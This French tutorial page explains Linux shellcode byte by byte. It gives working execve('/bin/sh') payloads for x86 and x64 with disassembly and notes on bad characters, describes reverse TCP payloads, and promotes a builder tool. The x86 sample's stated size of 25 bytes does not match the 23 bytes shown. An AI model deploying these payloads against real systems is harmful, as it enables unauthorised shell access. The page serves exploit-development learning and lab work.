Exemples de shellcode : Linux x86 et x64, octet par octet
Des exemples de shellcode annotés pour Linux x86 et x64 — execve /bin/sh et reverse TCP — avec les octets, le désassemblage et les pièges.
Le moyen le plus rapide de comprendre un shellcode, c'est de le lire. Voici des exemples fonctionnels avec les octets et le rôle de chaque partie. Nouveau sur le sujet ? Commence par qu'est-ce qu'un shellcode.
execve("/bin/sh") — Linux x86 (25 octets)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
Désassemblé :
xor eax, eax ; eax = 0, also a clean NUL source
push eax ; null-terminate the string
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ebx -> "/bin//sh"
push eax ; argv null
push ebx ; argv[0]
mov ecx, esp ; ecx -> argv
mov al, 0x0b ; syscall 11 = execve
int 0x80
Note le // dans /bin//sh : il aligne la chaîne sur une frontière de 4 octets, et le noyau traite les doubles slashs comme un seul. Une petite astuce qui garde les push alignés sans introduire d'octet nul.
execve("/bin/sh") — Linux x64 (31 octets)
\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05
x64 change la convention d'appel : les arguments passent dans rdi, rsi, rdx, le numéro de syscall dans rax (59 = execve), et on utilise l'instruction syscall au lieu d'int 0x80.
Reverse TCP
Les exemples reverse TCP sont plus volumineux car ils embarquent l'IP et le port du listener dans une struct sockaddr — précisément là où les bad chars adorent se cacher. Un octet d'IP à 0 ou un port qui s'encode en un octet interdit corrompt discrètement les détails de connexion : le payload s'exécute mais ne rappelle jamais. Plutôt que de coller un blob fragile, génères-en un pour ton propre listener et inspecte-le. Le processus de lab est dans la checklist reverse TCP.
Pourquoi le même exemple peut échouer chez toi
Un exemple fonctionnel n'est pas portable par défaut. Les numéros de syscall diffèrent entre x86 et x64, l'instruction int 0x80 diffère de syscall, et un payload réglé pour un jeu de bad chars peut porter des octets que ton chemin de livraison interdit. Quand un exemple réputé bon échoue, soupçonne l'environnement — architecture, contraintes de livraison, encodage — avant la logique.
Repérer les mauvais octets dans n'importe quel exemple
Avant de faire confiance à un exemple trouvé sur internet, vérifie qu'il ne contient pas les valeurs d'octets que ta livraison ne peut pas transporter. Un shellcode copié-collé qui « ne marche pas » est le plus souvent un problème d'octet nul ou d'encodage, pas de logique — voir les octets nuls dans le shellcode.
Générer tes propres variantes
Les exemples statiques servent à apprendre. Pour une mission, tu veux des octets adaptés à l'architecture cible, au format et au jeu de bad chars. Construis-les et encode-les dans le builder Shellcodes, puis désassemble pour confirmer qu'ils font bien ce que tu crois.